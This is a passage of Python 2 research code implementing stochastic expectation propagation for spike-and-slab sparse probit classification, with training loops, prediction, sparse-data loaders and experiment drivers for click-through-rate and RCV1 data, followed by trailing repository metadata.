normal.logpdf(mu_not, scale = np.sqrt(v_not)) rho_p = log_h - log_g sel_prob = expit(self.rho + rho_p) mu = sel_prob * mu_tilt v = sel_prob * (v_tilt + (1.0 - sel_prob)*mu_tilt**2) #damping self.rho_p = self.damping * rho_p + (1 - self.damping) * self.rho_p v_p_inv = 1/v - v_inv_not v_p_inv[ v_p_inv <= 0] = 1/self.INF v_p_inv_mu = mu/v - mu_not/v_not v_p_inv = self.damping * v_p_inv + (1 - self.damping) * 1/self.v_p v_p_inv_mu = self.damping * v_p_inv_mu + (1 - self.damping) * self.mu_p/self.v_p self.v_p = 1/v_p_inv self.mu_p = self.v_p * v_p_inv_mu #update global approx. dist. self.r = self.rho_p + self.rho v_inv_all = np.sum(1/self.v_l, 0) + 1/self.v_p v_inv_mu = np.sum(self.mu_l/self.v_l, 0) + self.mu_p/self.v_p self.v = 1/v_inv_all self.mu = self.v * v_inv_mu #difference only on global approxiations diff = np.sqrt(np.sum((1/old_v - v_inv_all)**2) + np.sum((old_mu - self.mu)**2) + np.sum((old_r - self.r)**2))/(old_v.size + old_mu.size + old_r.size) print 'iter %d, diff = %g'%(it, diff) if diff < self.tol: break #note, n is an array def init_sep(self, n, d, damping_strategy = None , non_informative = True): if non_informative: #prior factors self.rho_p = np.zeros(d) self.mu_p = np.zeros(d) self.v_p = self.INF*np.ones(d) #average likelihood factors -- only for w self.mu_l = np.zeros(d) self.v_l = self.INF * np.ones(d) #global posterior parameters self.r = self.rho_p + self.rho self.mu = np.zeros(d) self.v = 1/(1.0/self.v_p + 1.0/self.v_l * n) #calculate the appearche of each features in the training data, used for the step-size of each approx. factor def calc_feature_appearence(self, d, fea2id, training_file): #including intercept res = np.zeros(d+1) with open(training_file, 'r') as f: ct = 0 for line in f: ct = ct + 1 items = line.strip().split(' ') res[ d ] = res[ d ] + 1 for item in items[3:]: name = item.split(':')[0] id = fea2id[name] res[ id ] = res[ id ] + 1 if ct%10000 == 0: print ct np.save('feature_appearence.npy',res) return res #this version is the same as train_stochastic_multi_rate, except that at the beining, I will update all the prior factors def train_stochastic_multi_rate(self, d, n_pos, n_neg, training_file, fea2id, fea2stats, Xtest, ytest, logger, n_batch_update_prior = 1, intercept = False, damping_both = True): #initialization #separate average likelihood for pos. & neg. samples d = d + 1 self.INF = 1e6 self.rho_p = np.zeros(d) self.mu_p = np.zeros(d) self.v_p = self.INF*np.ones(d) self.mu_l_pos = np.zeros(d) self.v_l_pos = self.INF * np.ones(d) self.mu_l_neg = np.zeros(d) self.v_l_neg = self.INF * np.ones(d) #global posterior parameters self.r = self.rho_p + self.rho self.mu = np.zeros(d) self.v = 1.0/(1.0/self.v_p + n_pos*1.0/self.v_l_pos + n_neg*1.0/self.v_l_neg) old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() it = 0 curr = 0 count = 0 n_batch_pos = np.zeros(d) n_batch_neg = np.zeros(d) v_l_inv_batch_pos = np.zeros(d) v_l_inv_batch_neg = np.zeros(d) v_l_inv_mu_batch_pos = np.zeros(d) v_l_inv_mu_batch_neg = np.zeros(d) #first, update prior factors v_inv_not = 1/self.v - 1/self.v_p v_not = 1/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_p/self.v_p) v_tilt = 1/(1/v_not + 1/self.tau0) mu_tilt = v_tilt * (mu_not/v_not) #log N(0 | mu_not, v_not + tau0) log_h = normal.logpdf(mu_not, scale = np.sqrt(v_not + self.tau0)) #log N(0 | mu_not, v_not) log_g = normal.logpdf(mu_not, scale = np.sqrt(v_not)) rho_p = log_h - log_g sel_prob = expit(self.rho + rho_p) mu = sel_prob * mu_tilt v = sel_prob * (v_tilt + (1.0 - sel_prob)*mu_tilt**2) #damping self.rho_p = self.damping * rho_p + (1 - self.damping) * self.rho_p v_p_inv = 1/v - v_inv_not v_p_inv[ v_p_inv <= 0] = 1/self.INF v_p_inv_mu = mu/v - mu_not/v_not v_p_inv = self.damping * v_p_inv + (1 - self.damping) * 1/self.v_p v_p_inv_mu = self.damping * v_p_inv_mu + (1 - self.damping) * self.mu_p/self.v_p self.v_p = 1/v_p_inv self.mu_p = self.v_p * v_p_inv_mu #update global approx. dist. self.r = self.rho_p + self.rho v_inv_all = v_inv_not + 1.0/self.v_p v_inv_mu = mu_not/v_not + self.mu_p/self.v_p self.v = 1.0/v_inv_all self.mu = self.v * v_inv_mu #for updating prior factors accumulate_ind = [] start_time = time.clock() while it < self.n_epoch: with open(training_file, 'r') as f: for line in f: count = count + 1 #extract feature values items = line.strip().split(' ') id = [] val = [] for item in items[feature_off:]: key_val = item.split(':') id.append(fea2id[key_val[0]]) if len(key_val) == 1: val.append(1.0) else: val.append( float(key_val[1]) ) #val.append( normalize(float(key_val[1]), fea2stats[ key_val[0] ]) ) #intercept id.append(d-1) val.append(1.0) #moment matching xbatch = np.array(val) xbatch2 = xbatch**2 ybatch = int(items[0]) if ybatch == 1: #cavity dist. q^{-1}, the same for each batch-sample v_inv_not = 1.0/self.v[id] - 1.0/self.v_l_pos[id] v_not = 1.0/v_inv_not mu_not = v_not * (self.mu[id]/self.v[id] - self.mu_l_pos[id]/self.v_l_pos[id]) t1 = ybatch * np.sum(mu_not * xbatch) t2 = np.sqrt(np.sum(v_not*xbatch2 + 1.0)) t3 = self.pdf_over_cdf(t1/t2)/t2 dmu_not = (t3*ybatch) * xbatch dv_not = (-0.5*t3*t1/(t2*t2)) * xbatch2 mu = mu_not + v_not * dmu_not v = v_not - v_not**2*(dmu_not**2 - 2*dv_not) #obtain new batch likelihood approx. v_l_inv = 1/v - 1/v_not v_l_inv[ v_l_inv <= 0] = 1/self.INF v_l_inv_mu = mu/v - mu_not/v_not if damping_both: v_l_inv = self.damping * v_l_inv + (1.0 - self.damping) * 1.0/self.v_l_pos[id] v_l_inv_mu = self.damping * v_l_inv_mu + (1.0 - self.damping) * self.mu_l_pos[id]/self.v_l_pos[id] n_batch_pos[id] += 1.0 v_l_inv_batch_pos[id] += v_l_inv v_l_inv_mu_batch_pos[id] += v_l_inv_mu else: #cavity dist. q^{-1}, the same for each batch-sample v_inv_not = 1.0/self.v[id] - 1.0/self.v_l_neg[id] v_not = 1.0/v_inv_not mu_not = v_not * (self.mu[id]/self.v[id] - self.mu_l_neg[id]/self.v_l_neg[id]) t1 = ybatch * np.sum(mu_not * xbatch) t2 = np.sqrt(np.sum(v_not*xbatch2 + 1.0)) t3 = self.pdf_over_cdf(t1/t2)/t2 dmu_not = (t3*ybatch) * xbatch dv_not = (-0.5*t3*t1/(t2*t2)) * xbatch2 mu = mu_not + v_not * dmu_not v = v_not - v_not**2*(dmu_not**2 - 2*dv_not) #obtain new batch likelihood approx. v_l_inv = 1/v - 1/v_not v_l_inv[ v_l_inv <= 0] = 1/self.INF v_l_inv_mu = mu/v - mu_not/v_not if damping_both: v_l_inv = self.damping * v_l_inv + (1.0 - self.damping) * 1.0/self.v_l_neg[id] v_l_inv_mu = self.damping * v_l_inv_mu + (1.0 - self.damping) * self.mu_l_neg[id]/self.v_l_neg[id] n_batch_neg[id] += 1.0 v_l_inv_batch_neg[id] += v_l_inv v_l_inv_mu_batch_neg[id] += v_l_inv_mu curr = curr + 1 #print 'batch %d'%curr if count == self.mini_batch: #stochastic update ind = np.nonzero(n_batch_pos) if ind[0].size>0: v_l_inv_pos = ((n_pos[ind] - n_batch_pos[ind]) * (1.0/self.v_l_pos[ind]) + v_l_inv_batch_pos[ind])/n_pos[ind] v_l_inv_mu_pos = ((n_pos[ind] - n_batch_pos[ind]) * (self.mu_l_pos[ind]/self.v_l_pos[ind]) + v_l_inv_mu_batch_pos[ind])/n_pos[ind] self.v_l_pos[ind] = 1.0/v_l_inv_pos self.mu_l_pos[ind] = self.v_l_pos[ind]*v_l_inv_mu_pos accumulate_ind = list(set().union(accumulate_ind, list(ind[0]))) ind = np.nonzero(n_batch_neg) if ind[0].size>0: v_l_inv_neg = ((n_neg[ind] - n_batch_neg[ind]) * (1.0/self.v_l_neg[ind]) + v_l_inv_batch_neg[ind])/n_neg[ind] v_l_inv_mu_neg= ((n_neg[ind] - n_batch_neg[ind]) * (self.mu_l_neg[ind]/self.v_l_neg[ind]) + v_l_inv_mu_batch_neg[ind])/n_neg[ind] self.v_l_neg[ind] = 1.0/v_l_inv_neg self.mu_l_neg[ind] = self.v_l_neg[ind]*v_l_inv_mu_neg accumulate_ind = list(set().union(accumulate_ind, list(ind[0]))) v_inv_all = 1.0/self.v_p + n_pos*(1.0/self.v_l_pos) + n_neg*(1.0/self.v_l_neg) v_inv_mu = self.mu_p/self.v_p + n_pos*(self.mu_l_pos/self.v_l_pos) + n_neg*(self.mu_l_neg/self.v_l_neg) self.v = 1.0/v_inv_all self.mu = self.v*v_inv_mu #clear count = 0 n_batch_pos = np.zeros(d) n_batch_neg = np.zeros(d) v_l_inv_batch_pos = np.zeros(d) v_l_inv_batch_neg = np.zeros(d) v_l_inv_mu_batch_pos = np.zeros(d) v_l_inv_mu_batch_neg = np.zeros(d) #we control how often we update the prior factors if (curr/self.mini_batch) % n_batch_update_prior == 0: #update prior factors v_inv_not = 1/self.v[accumulate_ind] - 1/self.v_p[accumulate_ind] v_not = 1/v_inv_not mu_not = v_not * (self.mu[accumulate_ind]/self.v[accumulate_ind] - self.mu_p[accumulate_ind]/self.v_p[accumulate_ind]) v_tilt = 1/(1/v_not + 1/self.tau0) mu_tilt = v_tilt * (mu_not/v_not) #log N(0 | mu_not, v_not + tau0) log_h = normal.logpdf(mu_not, scale = np.sqrt(v_not + self.tau0)) #log N(0 | mu_not, v_not) log_g = normal.logpdf(mu_not, scale = np.sqrt(v_not)) rho_p = log_h - log_g sel_prob = expit(self.rho + rho_p) mu = sel_prob * mu_tilt v = sel_prob * (v_tilt + (1.0 - sel_prob)*mu_tilt**2) #damping self.rho_p[accumulate_ind] = self.damping * rho_p + (1 - self.damping) * self.rho_p[accumulate_ind] v_p_inv = 1/v - v_inv_not v_p_inv[ v_p_inv <= 0] = 1/self.INF v_p_inv_mu = mu/v - mu_not/v_not v_p_inv = self.damping * v_p_inv + (1 - self.damping) * 1/self.v_p[accumulate_ind] v_p_inv_mu = self.damping * v_p_inv_mu + (1 - self.damping) * self.mu_p[accumulate_ind]/self.v_p[accumulate_ind] self.v_p[accumulate_ind] = 1/v_p_inv self.mu_p[accumulate_ind] = self.v_p[accumulate_ind] * v_p_inv_mu #update global approx. dist. self.r[accumulate_ind] = self.rho_p[accumulate_ind] + self.rho v_inv_all = v_inv_not + 1.0/self.v_p[accumulate_ind] v_inv_mu = mu_not/v_not + self.mu_p[accumulate_ind]/self.v_p[accumulate_ind] self.v[accumulate_ind] = 1.0/v_inv_all self.mu[accumulate_ind] = self.v[accumulate_ind] * v_inv_mu accumulate_ind = [] if (curr/self.mini_batch)%10 == 0: diff = np.sum(np.abs((1/old_v - 1/self.v)) + np.sum(np.abs(old_mu - self.mu)) + np.sum(np.abs(old_r - self.r)))/(old_v.size + old_mu.size + old_r.size) print >>logger, 'epoch %d, %d batches, diff = %g'%(it, curr/self.mini_batch, diff) logger.flush() print 'epoch %d, %d batches, diff = %g'%(it, curr/self.mini_batch, diff) if diff < self.tol: break old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() if (curr/self.mini_batch)%1000==0: pred = self.predict(Xtest) fpr,tpr,th = metrics.roc_curve(ytest, pred, pos_label=1) val = metrics.auc(fpr,tpr) print >>logger, 'auc = %g, feature # = %d'%(val, np.sum(self.r>0)) print 'auc = %g, feature # = %d'%(val, np.sum(self.r>0)) elapse = time.clock() - start_time start_time = time.clock() print '1000 batches, take %g seconds'%elapse #evaluation pred = self.predict(Xtest) fpr,tpr,th = metrics.roc_curve(ytest, pred, pos_label=1) val = metrics.auc(fpr,tpr) print >>logger, 'epoch %d, tau0 = %g, auc = %g, feature # = %d'%(it, self.tau0, val, np.sum(self.r>0)) print 'epoch %d, tau0 = %g, auc = %g, feature # = %d'%(it, self.tau0, val, np.sum(self.r>0)) it = it + 1 curr = 0 def predict(self, Xtest): d = self.mu.size if d == Xtest.shape[1] + 1: Xtest = np.hstack([Xtest, np.ones(Xtest.shape[0]).reshape([Xtest.shape[0],1])]) elif d != Xtest.shape[1]: print 'inconsistent feature number' return #pred_prob = normal.cdf( np.dot(Xtest,self.mu) / np.sqrt( np.dot(Xtest**2, self.v) + 1 ) ) #pred_prob = np.dot(Xtest,self.mu) #mu = self.mu * (expit(self.r)>0.5) mu = self.mu * (expit(self.r)>0.5) v = self.v * (expit(self.r)>0.5) pred_prob = Xtest.dot(mu) #pred_prob = np.dot(Xtest, mu) #pred_prob = normal.cdf( np.dot(Xtest, mu) / np.sqrt( np.dot(Xtest**2, v) + 1 ) ) return pred_prob #this version keeps average likelihood for pos. and neg. samples separately, and also use n_pos and n_neg to update the full posterior #enforce the same step-size #this reads data from HDFS and keeps read the negative samples until it reaches the same amount with the postive samples #then pass once #in theory, go 1000 pass can process all 7 days' data, 150 iteraions can process 1day's data def train_stochastic_v6(self, X, y, n_pos, n_neg, Xtest, ytest, logger, n_batch_update_prior = 1, intercept = False, damping_both = True): if intercept: X = np.hstack([X, np.ones(X.shape[0]).reshape([X.shape[0],1])]) self.init_sep(X,y) n,d = X.shape #separate average likelihood for pos. & neg. samples self.INF = 1e7 self.mu_p = np.zeros(d) self.v_p = self.INF*np.ones(d) self.mu_l_pos = np.zeros(d) self.v_l_pos = self.INF * np.ones(d) self.mu_l_neg = np.zeros(d) self.v_l_neg = self.INF * np.ones(d) self.v = 1.0/(1.0/self.v_p + n_pos*1.0/self.v_l_pos + n_neg*1.0/self.v_l_neg) self.mu = np.zeros(d) #calc. an uniform step-size step_size = 10*float(self.mini_batch)/(n_pos + n_neg) old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() rows_shuf = range(n) it = 0 count = 0 #for line in stdin: #f = open('/tmp/ctr-train-4m','r') with open('/tmp/ctr-train-36m.csv','r') as f: for line in f: #First read the same amount of negative samples terms = line.strip().split(',') if terms[-1] == "-1": X[n_pos+count,:] = np.array([float(term) for term in terms[:-1]] + [1.0]) #adding intercept count = count + 1 print count, n_pos if count == n_pos: data = np.hstack([X[:,:-1] , y.reshape(X.shape[0],1)]) #go though and online update count = 0 curr = 0 np.random.shuffle( rows_shuf ) while curr < n: #update average likelihood factor -- update batch samples #ind = np.random.choice(n, self.mini_batch, replace=False) ind = rows_shuf[curr:curr+self.mini_batch] xbatch = X[ind,:] xbatch2 = xbatch**2 ybatch = y[ind] bsz = len(ind) print np.sum(ybatch>0), np.sum(ybatch<0) #cavity dist. q^{-1}, the same for each sample type v_inv_not = np.zeros([bsz, d]) mu_inv_v_not = np.zeros([bsz, d]) v_inv_not[ybatch>0,:] = 1.0/self.v - 1.0/self.v_l_pos v_inv_not[ybatch<0,:] = 1.0/self.v - 1.0/self.v_l_neg mu_inv_v_not[ybatch>0,:] = self.mu/self.v - self.mu_l_pos/self.v_l_pos mu_inv_v_not[ybatch<0,:] = self.mu/self.v - self.mu_l_neg/self.v_l_neg v_not = 1.0/v_inv_not mu_not = v_not * mu_inv_v_not ''' v_inv_not = 1.0/self.v - 1.0/self.v_l v_not = 1.0/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_l/self.v_l) mu_not = np.tile(mu_not, [len(ind), 1]) v_not = np.tile(v_not, [len(ind), 1]) ''' t1 = ybatch * np.sum(mu_not * xbatch, 1) t2 = np.sqrt(np.sum(v_not*xbatch2 + 1.0, 1)) t3 = self.pdf_over_cdf(t1/t2)/t2 dmu_not = np.tile(vec(t3*ybatch), [1, d]) * xbatch dv_not = np.tile(vec(-0.5*t3*t1/(t2*t2)), [1,d]) * xbatch2 mu = mu_not + v_not * dmu_not v = v_not - v_not**2*(dmu_not**2 - 2*dv_not) #obtain new batch likelihood approx. v_l_inv = 1/v - 1/v_not v_l_inv[ v_l_inv <= 0] = 1/self.INF v_l_inv_mu = mu/v - mu_not/v_not if damping_both: prev = np.zeros([bsz, d]) prev[ybatch>0,:] = 1.0/self.v_l_pos prev[ybatch<0,:] = 1.0/self.v_l_neg v_l_inv = self.damping * v_l_inv + (1.0 - self.damping) * prev prev[ybatch>0,:] = self.mu_l_pos/self.v_l_pos prev[ybatch<0,:] = self.mu_l_neg/self.v_l_neg v_l_inv_mu = self.damping * v_l_inv_mu + (1.0 - self.damping) * prev v_l_inv_pos = step_size * np.mean(v_l_inv[ybatch>0,:], 0) + (1.0 - step_size) * 1.0/self.v_l_pos v_l_inv_mu_pos = step_size * np.mean(v_l_inv_mu[ybatch>0,:],0) + (1.0 - step_size) * self.mu_l_pos/self.v_l_pos self.v_l_pos = 1.0/v_l_inv_pos self.mu_l_pos = self.v_l_pos * v_l_inv_mu_pos v_l_inv_neg = step_size * np.mean(v_l_inv[ybatch<0,:], 0) + (1.0 - step_size) * 1.0/self.v_l_neg v_l_inv_mu_neg = step_size * np.mean(v_l_inv_mu[ybatch<0,:],0) + (1.0 - step_size) * self.mu_l_neg/self.v_l_neg self.v_l_neg = 1.0/v_l_inv_neg self.mu_l_neg = self.v_l_neg * v_l_inv_mu_neg v_inv_all = 1.0/self.v_p + n_pos*v_l_inv_pos + n_neg*v_l_inv_neg self.v = 1.0/v_inv_all self.mu = self.v*(self.mu_p/self.v_p + n_pos*v_l_inv_mu_pos + n_neg*v_l_inv_mu_neg) curr = curr + self.mini_batch #we control how often we update the prior factors if (curr/self.mini_batch) % n_batch_update_prior == 0: #update prior factors v_inv_not = 1/self.v - 1/self.v_p v_not = 1/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_p/self.v_p) v_tilt = 1/(1/v_not + 1/self.tau0) mu_tilt = v_tilt * (mu_not/v_not) #log N(0 | mu_not, v_not + tau0) log_h = normal.logpdf(mu_not, scale = np.sqrt(v_not + self.tau0)) #log N(0 | mu_not, v_not) log_g = normal.logpdf(mu_not, scale = np.sqrt(v_not)) rho_p = log_h - log_g sel_prob = expit(self.rho + rho_p) mu = sel_prob * mu_tilt v = sel_prob * (v_tilt + (1.0 - sel_prob)*mu_tilt**2) #damping self.rho_p = self.damping * rho_p + (1 - self.damping) * self.rho_p v_p_inv = 1/v - v_inv_not v_p_inv[ v_p_inv <= 0] = 1/self.INF v_p_inv_mu = mu/v - mu_not/v_not v_p_inv = self.damping * v_p_inv + (1 - self.damping) * 1/self.v_p v_p_inv_mu = self.damping * v_p_inv_mu + (1 - self.damping) * self.mu_p/self.v_p self.v_p = 1/v_p_inv self.mu_p = self.v_p * v_p_inv_mu #update global approx. dist. self.r = self.rho_p + self.rho v_inv_all = v_inv_not + 1.0/self.v_p v_inv_mu = mu_not/v_not + self.mu_p/self.v_p self.v = 1.0/v_inv_all self.mu = self.v * v_inv_mu if (curr/self.mini_batch)%3 == 0: diff = (np.sum(np.abs(1/old_v - 1/self.v)) + np.sum(np.abs(old_mu - self.mu)) + np.sum(np.abs(old_r - self.r)))/(old_v.size + old_mu.size + old_r.size) print 'epoch %d, %d batches, diff = %g'%(it, curr/self.mini_batch, diff) print >>logger, 'epoch %d, %d batches, diff = %g'%(it, curr/self.mini_batch, diff) if diff < self.tol: break old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() #evaluation pred = self.predict(Xtest) fpr,tpr,th = metrics.roc_curve(ytest, pred, pos_label=1) val = metrics.auc(fpr,tpr) print 'epoch %d, auc = %g, feature # = %d'%(it, val, np.sum(self.r>0)) print >>logger, 'epoch %d, auc = %g, feature # = %d'%(it, val, np.sum(self.r>0)) it = it + 1 if it >= self.n_epoch: break #SEP training def train_stochastic(self, X, y, intercept = False): if intercept: X = np.hstack([X, np.ones(X.shape[0]).reshape([X.shape[0],1])]) self.init_sep(X,y) n,d = X.shape old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() rows_shuf = range(n) np.random.shuffle( rows_shuf ) it = 0 curr = 0 while it < self.n_epoch: #update average likelihood factor -- update batch samples ind = np.random.choice(n, self.mini_batch, replace=False) #ind = rows_shuf[curr:curr+self.mini_batch] xbatch = X[ind,:] xbatch2 = xbatch**2 ybatch = y[ind] #cavity dist. q^{-1}, the same for each batch-sample v_inv_not = 1.0/self.v - 1.0/self.v_l v_not = 1.0/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_l/self.v_l) mu_not = np.tile(mu_not, [self.mini_batch, 1]) v_not = np.tile(v_not, [self.mini_batch, 1]) t1 = ybatch * np.sum(mu_not * xbatch, 1) t2 = np.sqrt(np.sum(v_not*xbatch2 + 1.0, 1)) t3 = self.pdf_over_cdf(t1/t2)/t2 dmu_not = np.tile(vec(t3*ybatch), [1, d]) * xbatch dv_not = np.tile(vec(-0.5*t3*t1/(t2*t2)), [1,d]) * xbatch2 mu = mu_not + v_not * dmu_not v = v_not - v_not**2*(dmu_not**2 - 2*dv_not) #obtain new batch likelihood approx. v_l_inv = 1/v - 1/v_not v_l_inv[ v_l_inv <= 0] = 1/self.INF v_l = 1.0/v_l_inv v_l_inv = self.damping * 1.0/v_l + (1 - self.damping) * np.tile(1.0/self.v_l, [self.mini_batch, 1]) v_l_inv_mu = self.damping * (mu/v - mu_not/v_not) + (1 - self.damping) * np.tile(self.mu_l/self.v_l, [self.mini_batch, 1]) #stoastic update v_inv_all = 1/self.v_p + (n - self.mini_batch) * 1.0/self.v_l + np.sum(v_l_inv, 0) v_inv_mu = self.mu_p/self.v_p + (n - self.mini_batch) * self.mu_l/self.v_l + np.sum(v_l_inv_mu, 0) self.v = 1/v_inv_all self.mu = self.v * v_inv_mu self.v_l = 1.0/((v_inv_all - 1/self.v_p)/n) self.mu_l = self.v_l * ( (v_inv_mu - self.mu_p/self.v_p)/n ) #update prior factors v_inv_not = 1/self.v - 1/self.v_p v_not = 1/v_inv_not mu_not = v_not * (self.mu/self.v - self.mu_p/self.v_p) v_tilt = 1/(1/v_not + 1/self.tau0) mu_tilt = v_tilt * (mu_not/v_not) #log N(0 | mu_not, v_not + tau0) log_h = normal.logpdf(mu_not, scale = np.sqrt(v_not + self.tau0)) #log N(0 | mu_not, v_not) log_g = normal.logpdf(mu_not, scale = np.sqrt(v_not)) rho_p = log_h - log_g sel_prob = expit(self.rho + rho_p) mu = sel_prob * mu_tilt v = sel_prob * (v_tilt + (1.0 - sel_prob)*mu_tilt**2) #damping self.rho_p = self.damping * rho_p + (1 - self.damping) * self.rho_p v_p_inv = 1/v - v_inv_not v_p_inv[ v_p_inv <= 0] = 1/self.INF v_p_inv_mu = mu/v - mu_not/v_not v_p_inv = self.damping * v_p_inv + (1 - self.damping) * 1/self.v_p v_p_inv_mu = self.damping * v_p_inv_mu + (1 - self.damping) * self.mu_p/self.v_p self.v_p = 1/v_p_inv self.mu_p = self.v_p * v_p_inv_mu #update global approx. dist. self.r = self.rho_p + self.rho v_inv_all = v_inv_not + 1.0/self.v_p v_inv_mu = mu_not/v_not + self.mu_p/self.v_p self.v = 1.0/v_inv_all self.mu = self.v * v_inv_mu curr = curr + self.mini_batch if curr%10 == 0: diff = np.sqrt(np.sum((1/old_v - 1/self.v)**2) + np.sum((old_mu - self.mu)**2) + np.sum((old_r - self.r)**2))/(old_v.size + old_mu.size + old_r.size) print 'epoch %d, %d batches, diff = %g'%(it, curr/self.mini_batch, diff) if diff < self.tol: break old_v = self.v.copy() old_mu = self.mu.copy() old_r = self.r.copy() if curr >= n: it = it + 1 curr = 0 def test_ctr_large_sep_weighted(): training_file = '/tmp/large-ctr-pxu-train' testing_file = '/tmp/large-ctr-pxu-test' fea2id = load_feature_id('feature_to_id.txt') fea2stats = load_feature_stats('mean_std_continuous_features.txt') ''' Xtest,ytest = load_test_data('/tmp/large-ctr-pxu-test', fea2id, fea2stats) save_sparse_csr('/tmp/large-ctr-pxu-test-X', Xtest) np.save('/tmp/large-ctr-pxu-test-y', ytest) sys.exit(1) ''' Xtest = load_sparse_csr('/tmp/large-ctr-pxu-test-X.npz') ytest = np.load('/tmp/large-ctr-pxu-test-y.npy') d = 204327 #calc_feature_appearence_separately(d, fea2id, training_file) n_pos = np.load('feature_appearence_pos.npy') n_neg = np.load('feature_appearence_neg.npy') ep = EPSS(d, rho0 = 0.0000001, n_epoch = 1, mini_batch = 100, tol = 1e-5, damping = 0.9, tau0 = 1.0) with open('logger-2.txt','w') as f: ep.train_stochastic_v4(d, n_pos, n_neg, training_file, fea2id, fea2stats, Xtest, ytest, f, n_batch_update_prior = 1, damping_both = True) w = ep.mu * (expit(ep.r)>0.5) np.save('model-w-8.npy', w) r = ep.r np.save('sel-w-8.npy', r) def test_ctr_large_sep(): training_file = '/tmp/large-ctr-pxu-train' testing_file = '/tmp/large-ctr-pxu-test' fea2id = load_feature_id('feature_to_id.txt') fea2stats = load_feature_stats('mean_std_continuous_features.txt') ''' Xtest,ytest = load_test_data('/tmp/large-ctr-pxu-test', fea2id, fea2stats) save_sparse_csr('/tmp/large-ctr-pxu-test-X', Xtest) np.save('/tmp/large-ctr-pxu-test-y', ytest) sys.exit(1) ''' Xtest = load_sparse_csr('/tmp/large-ctr-pxu-test-X.npz') ytest = np.load('/tmp/large-ctr-pxu-test-y.npy') d = 204327 ep = EPSS(d, rho0 = 0.5, n_epoch = 10, mini_batch = 100, tol = 1e-5, damping = 0.9, tau0 = 1.0) with open('logger.txt','w') as f: ep.train_stochastic_v3(d, training_file, fea2id, fea2stats, Xtest, ytest, f, n_batch_update_prior = 1, damping_both = True) w = ep.mu * (expit(ep.r)>0.5) np.save('model-2.npy', w) r = ep.r np.save('sel-2.npy', r) def load_feature_id(file_path): res = {} with open(file_path, 'r') as f: for line in f: name,id = line.strip().split('\t') res[ name ] = int(id) return res def load_feature_stats(file_path): res = {} with open(file_path, 'r') as f: for line in f: name,mean,std= line.strip().split('\t') #res[ name ] = [float(mean), float(std)] #very hacking way -- zsd, to disable normalization res[ name ] = [0.0, 1.0] return res def load_test_data(file_path, fea2id, fea2stats): y = [] row_ind = [] col_ind = [] data = [] row_num = 0 with open(file_path, 'r') as f: for line in f: items = line.strip().split(' ') y.append(int(items[0])) for item in items[2:]: key_val = item.split(':') if key_val[0] not in fea2id: continue id = fea2id[ key_val[0] ] if len(key_val) == 1: data.append(1.0) else: data.append(float(key_val[1])) #data.append( normalize(float(key_val[1]), fea2stats[key_val[0]]) ) row_ind.append(row_num) col_ind.append(id) #append intercept data.append(1.0) row_ind.append(row_num) col_ind.append(len(fea2id)) row_num = row_num + 1 if row_num%10000 == 0: print row_num Xtest = csr_matrix((data, (row_ind, col_ind))) y = np.array(y) return [Xtest,y] def save_sparse_csr(filename, array): np.savez(filename,data = array.data ,indices=array.indices, indptr =array.indptr, shape=array.shape) def load_sparse_csr(filename): loader = np.load(filename) return csr_matrix((loader['data'], loader['indices'], loader['indptr']), shape = loader['shape']) #calculate the appearche of each features in the training data, for postive and negative samples def calc_feature_appearence_separately(d, fea2id, training_file): #including intercept #pos res = np.zeros(d+1) #neg res2 = np.zeros(d+1) with open(training_file, 'r') as f: ct = 0 for line in f: ct = ct + 1 items = line.strip().split(' ') label = int(items[0]) if label == 1: res[d] = res[d] + 1 else: res2[d] = res2[d] + 1 for item in items[3:]: name = item.split(':')[0] id = fea2id[name] if label == 1: res[ id ] = res[ id ] + 1 else: res2[ id ] = res2[ id ] + 1 if ct%10000 == 0: print ct np.save('feature_appearence_pos.npy',res) np.save('feature_appearence_neg.npy',res2) def tune_rcv1(tau0): training_file = '../../../data/rcv1/rcv1.train.vw.subtrain' testing_file = '../../../data/rcv1/rcv1.train.vw.validation' fea2id = load_feature_id('feature_to_id.txt') #zsd, note i used a very hacking way to disable the normalization effect fea2stats = load_feature_stats('mean_std_continuous_features.txt') ''' Xtest,ytest = load_test_data(testing_file, fea2id, fea2stats) save_sparse_csr('./rcv1.validate-X', Xtest) np.save('./rcv1.validate-y', ytest) sys.exit(1) ''' Xtest = load_sparse_csr('./rcv1.validate-X.npz') ytest = np.load('./rcv1.validate-y.npy') d = len(fea2id) #calc_feature_appearence_separately(d, fea2id, training_file) n_pos = np.load('feature_appearence_pos.npy') n_neg = np.load('feature_appearence_neg.npy') ep = EPSS(d, rho0 = 0.5, n_epoch = 1, mini_batch = 100, tol = 1e-5, damping = 0.9, tau0 = tau0) with open('logger-rcv1-tune.txt','a+') as f: ep.train_stochastic_multi_rate(d, n_pos, n_neg, training_file, fea2id, fea2stats, Xtest, ytest, f, n_batch_update_prior = 1, damping_both = True) if __name__ == '__main__': if len(sys.argv) != 2: print 'usage %s <tau0>'%sys.argv[0] sys.exit(1) np.random.seed(0) tune_rcv1(float(sys.argv[1]))

38,049

-10

510

e024297cf1e1ea4f32ebd218843757ebd132b2de

2,776

py

Python

src/synapse/azext_synapse/vendored_sdks/azure_synapse/models/livy_request_base.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

2

2021-03-24T21:06:20.000Z

2021-03-24T21:07:58.000Z

src/synapse/azext_synapse/vendored_sdks/azure_synapse/models/livy_request_base.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

3

2020-05-27T20:16:26.000Z

2020-07-23T19:46:49.000Z

src/synapse/azext_synapse/vendored_sdks/azure_synapse/models/livy_request_base.py

Mannan2812/azure-cli-extensions

e2b34efe23795f6db9c59100534a40f0813c3d95

[ "MIT" ]

5

2020-05-09T17:47:09.000Z

2020-10-01T19:52:06.000Z

